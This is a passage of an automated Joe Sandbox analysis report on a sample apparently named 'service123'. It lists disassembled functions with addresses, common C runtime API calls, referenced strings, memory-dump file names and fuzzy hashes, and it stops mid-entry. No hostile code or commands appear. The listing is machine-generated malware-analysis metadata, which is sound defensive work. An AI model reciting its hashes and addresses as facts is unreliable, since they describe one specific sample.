Instruction Fuzzy Hash: CB418E7168831E8FD752CE29C45065AF3E6AB85319F544D29FCB48BB54E320DD0B8BD2

Function 6C306B10 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 1456COMMON

Download Yara Rule

Strings

, xrefs: 6C307FDC
NaN, xrefs: 6C306BDF
9, xrefs: 6C308064
Infinity, xrefs: 6C306E40
, xrefs: 6C3081F6

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: $ $9$Infinity$NaN
API String ID: 0-2156819404
Opcode ID: cb4610b3e3aa76292be7ee483f5c7b0d67a9cf1e0c35e44c40cf185515a463d4
Instruction ID: 8f749b2024846594ddd1b411cd3ea5c1a33c084b3129338cd03365afdc5261af
Opcode Fuzzy Hash: cb4610b3e3aa76292be7ee483f5c7b0d67a9cf1e0c35e44c40cf185515a463d4
Instruction Fuzzy Hash: 82D221B2A093818FD310DF29C08474ABBF1BB8A358F14891EE8D997755E776D844CF92

Function 004B5140 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 1456COMMON

Download Yara Rule

Strings

Infinity, xrefs: 004B5470
, xrefs: 004B6826
9, xrefs: 004B6694
, xrefs: 004B660C
NaN, xrefs: 004B520F

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID:
String ID: $ $9$Infinity$NaN
API String ID: 0-2156819404
Opcode ID: 034205df43213d6e9194f45034d93ccd12ebbaaa3b67c48390bf40bc31a31724
Instruction ID: 7dfbedb72655d22b25c95a08474889f9abfdd04b51dfb9710ffdd8db7bda4850
Opcode Fuzzy Hash: 034205df43213d6e9194f45034d93ccd12ebbaaa3b67c48390bf40bc31a31724
Instruction Fuzzy Hash: 78D245B1A087418FD720DF29C08479AFBE0FB88354F158D2EE88597351E779D8458FAA

Function 6C2FF880 Relevance: 9.2, APIs: 6, Instructions: 195synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C2FFAA0
WaitForSingleObject.KERNEL32 ref: 6C2FFAE0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: f609505b9efdb79c08260e265aba2c6550d08664db3a265f415e17cf5e61577e
Instruction ID: 56206f49ec1b17fc9b065216e219ee1a01e803161c831dccb226e63d9533664c
Opcode Fuzzy Hash: f609505b9efdb79c08260e265aba2c6550d08664db3a265f415e17cf5e61577e
Instruction Fuzzy Hash: 02718771B8530E8BDB00DF29C584717B7F4AB42319F148629ECB88BB84D734E816CB92

Function 6C2FE700 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55305f229cd557018ad2e731627d929ce9d51cd51ce9aef23054490fd85f917f
Instruction ID: f2797ace8c1baf5d5383961258ab813f5d2fc19cc87de2c0c72d8d132789f64f
Opcode Fuzzy Hash: 55305f229cd557018ad2e731627d929ce9d51cd51ce9aef23054490fd85f917f
Instruction Fuzzy Hash: A911C130A8920E8FD711CE19C080AAAF3E6AB85309F004819E8A047B51E334E98FC7D2

Function 6C308260 Relevance: 8.2, APIs: 5, Instructions: 664COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C308267
memset.MSVCRT ref: 6C3083E7

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: localeconvmemset
String ID:
API String ID: 2367598729-0
Opcode ID: 861a7367944283902f788bb6ef996779a7d24597ae0356e5c6f195a1cf2e48ff
Instruction ID: 3805aa6e7bf2070e83486892a7afdfea9778dd328c9ce8112b41b16cf8f494d7
Opcode Fuzzy Hash: 861a7367944283902f788bb6ef996779a7d24597ae0356e5c6f195a1cf2e48ff
Instruction Fuzzy Hash: 3B4257727097518FD700CF29C49035ABBE1BB89708F094A6EE8949BB41D376E949CF93

Function 6C2FEE80 Relevance: 8.0, APIs: 5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a3cdfdf7e400654f02b8ff1179b4fa55f279a4c1aba5facc7c89ff3213b431e
Instruction ID: 6df6f95b99eb276ac6358b181273529c255d894d02d5cf93f182f22139156028
Opcode Fuzzy Hash: 6a3cdfdf7e400654f02b8ff1179b4fa55f279a4c1aba5facc7c89ff3213b431e
Instruction Fuzzy Hash: E712277568870E8FD700CF18C480A5BF7E1BB88358F548A2DECA997B55D734E946CB82

Function 6C305850 Relevance: 7.9, Strings: 6, Instructions: 424COMMON

Download Yara Rule

Strings

Inf, xrefs: 6C305DAC
@, xrefs: 6C3059BC
gfff, xrefs: 6C305925
NaN, xrefs: 6C305BBA
., xrefs: 6C3058ED
gfff, xrefs: 6C305960

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: .$@$Inf$NaN$gfff$gfff
API String ID: 0-3155045678
Opcode ID: ca189dcfca43f565660e13b4c6df80312808a7a38596a63d04a840457dc4c264
Instruction ID: 1ef6592ff03ffdbb3be4265a5a85253a00173cec48733b79fcab602493d826f8
Opcode Fuzzy Hash: ca189dcfca43f565660e13b4c6df80312808a7a38596a63d04a840457dc4c264
Instruction Fuzzy Hash: C8F1D372B087018BD304DE29C48475BBBE1BFC8318F548A2EE8989B745E735D905CF9A

Function 004B3E80 Relevance: 7.9, Strings: 6, Instructions: 424COMMON

Download Yara Rule

Strings

@, xrefs: 004B3FEC
NaN, xrefs: 004B41EA
gfff, xrefs: 004B3F90
Inf, xrefs: 004B43DC
., xrefs: 004B3F1D
gfff, xrefs: 004B3F55

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID:
String ID: .$@$Inf$NaN$gfff$gfff
API String ID: 0-3155045678
Opcode ID: e833a95e7477dd3568ea394d3b078540c98bb0460cf68ac4a01595f1c2a01ec1
Instruction ID: e3d99b46b9cf91ace4660a4e7f89fc2d7557814eb08661e03a9c018f3a93d3f9
Opcode Fuzzy Hash: e833a95e7477dd3568ea394d3b078540c98bb0460cf68ac4a01595f1c2a01ec1
Instruction Fuzzy Hash: EEF1F671A083018BC7149E29C4843ABB7E1BFC4304F188A6FF995DB346D778DD458B6A

Function 6C31C540 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 119stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31C563
memcpy.MSVCRT ref: 6C31C5CF
strlen.MSVCRT ref: 6C31C613

Strings

basic_string::_M_construct null not valid, xrefs: 6C31C5E0, 6C31C690

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID: basic_string::_M_construct null not valid
API String ID: 3396830738-3522614731
Opcode ID: c644e6c3dff5fbdea0fce1d1b7a5c7ac15b9fa9cab3f48f1029cd9a697a81f5f
Instruction ID: 3d9851215330bd45a3611bfa96d93e26b68b8dc705927f0f050ba9f703761e08
Opcode Fuzzy Hash: c644e6c3dff5fbdea0fce1d1b7a5c7ac15b9fa9cab3f48f1029cd9a697a81f5f
Instruction Fuzzy Hash: F8414CB56093148FC704EF69E48465AFFF4AF8A254F14886EE998CBB05D331D849CF62

Function 6C31BF90 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 119stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31BFB3
memcpy.MSVCRT ref: 6C31C01F
strlen.MSVCRT ref: 6C31C063

Strings

basic_string::_M_construct null not valid, xrefs: 6C31C030, 6C31C0E0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID: basic_string::_M_construct null not valid
API String ID: 3396830738-3522614731
Opcode ID: c644e6c3dff5fbdea0fce1d1b7a5c7ac15b9fa9cab3f48f1029cd9a697a81f5f
Instruction ID: d06dd91c036c5fd00104d4fb671bd3c1540186b0a499f76c5c5c8fffdf203127
Opcode Fuzzy Hash: c644e6c3dff5fbdea0fce1d1b7a5c7ac15b9fa9cab3f48f1029cd9a697a81f5f
Instruction Fuzzy Hash: 63415DB56093148FC704EF69D08465AFBF4EF8A258F15886EE998CBB05D331D849CF62

Function 6C2FE7B0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 457c982e652279fd9c311950c409836b026fa005dc35bfc5335c5b3160fd0654
Instruction ID: 6962a10f27fc55d380d6d20988b5356e9b1573b7608efba08915cebc727f8792
Opcode Fuzzy Hash: 457c982e652279fd9c311950c409836b026fa005dc35bfc5335c5b3160fd0654
Instruction Fuzzy Hash: CC21B6309D420E8FC711EE29C481B8AF3ABAB81359F048915EC7457A25D731E94BCAD2

Function 6C368640 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C3686F0, 6C3687B0, 6C368870

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 85d90388e65409793536fee18906e1610c854de4f3c91ba8252552f0162eced0
Instruction ID: fb6a817247c800c8d808e80544684ccd5bfcc1d0521bfe5ee01757fabfdf6b1f
Opcode Fuzzy Hash: 85d90388e65409793536fee18906e1610c854de4f3c91ba8252552f0162eced0
Instruction Fuzzy Hash: 2B718FB690A7108FC710DF69D08065AFFE4AF9A214F19C56FE8989B749D231C885CF93

Function 6C2FE8E0 Relevance: 6.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 6C2FE060: strlen.MSVCRT ref: 6C2FE06D

abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort$strlen
String ID:
API String ID: 2656325428-0
Opcode ID: 169905a89d33e55f241d60487c10011c7828af15c2fc134a73760805d1314279
Instruction ID: bc168a83d0ddfdf0f5e905c72898dfd315ae1dc0def8862155178f353ddb2ee1
Opcode Fuzzy Hash: 169905a89d33e55f241d60487c10011c7828af15c2fc134a73760805d1314279
Instruction Fuzzy Hash: C9519F7168971E8ED711CE29C08065AF7E1BF86709F04495AECA49BB45D330D94BCBE3

Function 6C3575E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,6C355ECF), ref: 6C357651
memmove.MSVCRT(00000000,?,?,6C355ECF), ref: 6C35768D

Strings

basic_string::assign, xrefs: 6C3576F0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpymemmove
String ID: basic_string::assign
API String ID: 167125708-2385367300
Opcode ID: 0651cc13c98b8697c74270ee07b16e0ad9b0d0132cb46333fae1e5bbe302db94
Instruction ID: ca256986a75a1e6905c5f643f3e6af848acaf62baa926fddf0f7cb0f9253ad30
Opcode Fuzzy Hash: 0651cc13c98b8697c74270ee07b16e0ad9b0d0132cb46333fae1e5bbe302db94
Instruction Fuzzy Hash: 36518A75A166118FD7008F2DD484A1EF7F6EF96708F90CA6DE8948B758E3319815CF82

Function 6C2FEA31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: d48caf97d4343bebd94075e3d28613c4e5545104440cb0c0e44adcf0cd124929
Instruction ID: 74f0711b2c0be0d3e4a58e4bd27aa397468e83e6274d9f46c363715e1c24f2fb
Opcode Fuzzy Hash: d48caf97d4343bebd94075e3d28613c4e5545104440cb0c0e44adcf0cd124929
Instruction Fuzzy Hash: 83C04C2BED401D45C4106ABC30593EDD1696BC334DF40240684D673F084B11E44B1C7B

Function 6C2FEA97 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ec04de42a0ada1e51d3783d035e19fe7e12f375359796b85472231cd81cf4e3e
Instruction ID: 2a2b5555bce07d47e161ebc9b2446c8f7b056b1444243674ae623c9bd822421a
Opcode Fuzzy Hash: ec04de42a0ada1e51d3783d035e19fe7e12f375359796b85472231cd81cf4e3e
Instruction Fuzzy Hash: 32C04C1AAD910D49C5002AAC304A3F9E1281B8764DF40300084E523F044B11944F5C7B

Function 6C311960 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 283COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C311992

Strings

basic_string::compare, xrefs: 6C311A1F, 6C311AC8, 6C311B56, 6C311BFF, 6C311C1B
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C311A27, 6C311AD0, 6C311B5E, 6C311C07, 6C311C23

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: wcslen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 4088430540-1697194757
Opcode ID: 687a30d40ef0c0f544ca56589cbfbc17061d89f50e1a424314013f08908793b9
Instruction ID: 94b03f427691bdfee7e9b7ed846eb7e23a862369df90b31ddc9f7cbf1786c3fa
Opcode Fuzzy Hash: 687a30d40ef0c0f544ca56589cbfbc17061d89f50e1a424314013f08908793b9
Instruction Fuzzy Hash: 4781C077B093118FC3049E29D88089FB7E1FFE9658F558A2DE58487B14E332D9858B82

Function 6C2FEB80 Relevance: 4.7, APIs: 3, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29a9d10a50ad3f8ea2255dd4c5a584f5a1622e1f15966b2fb25627fc16ae8ce2
Instruction ID: 3a9c6e5e3724361d5b3fd907fc4138c5b276bb9a0aea7dbe684242393657afe0
Opcode Fuzzy Hash: 29a9d10a50ad3f8ea2255dd4c5a584f5a1622e1f15966b2fb25627fc16ae8ce2
Instruction Fuzzy Hash: D861827568931E8BD705CE29C45065AF7E6AFC5718F048A1AFCA49BB44D730C90B8AE3

Function 6C38BD70 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C38BDE0
memset.MSVCRT ref: 6C38BE04

Strings

basic_string::_M_replace_aux, xrefs: 6C38BE80

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
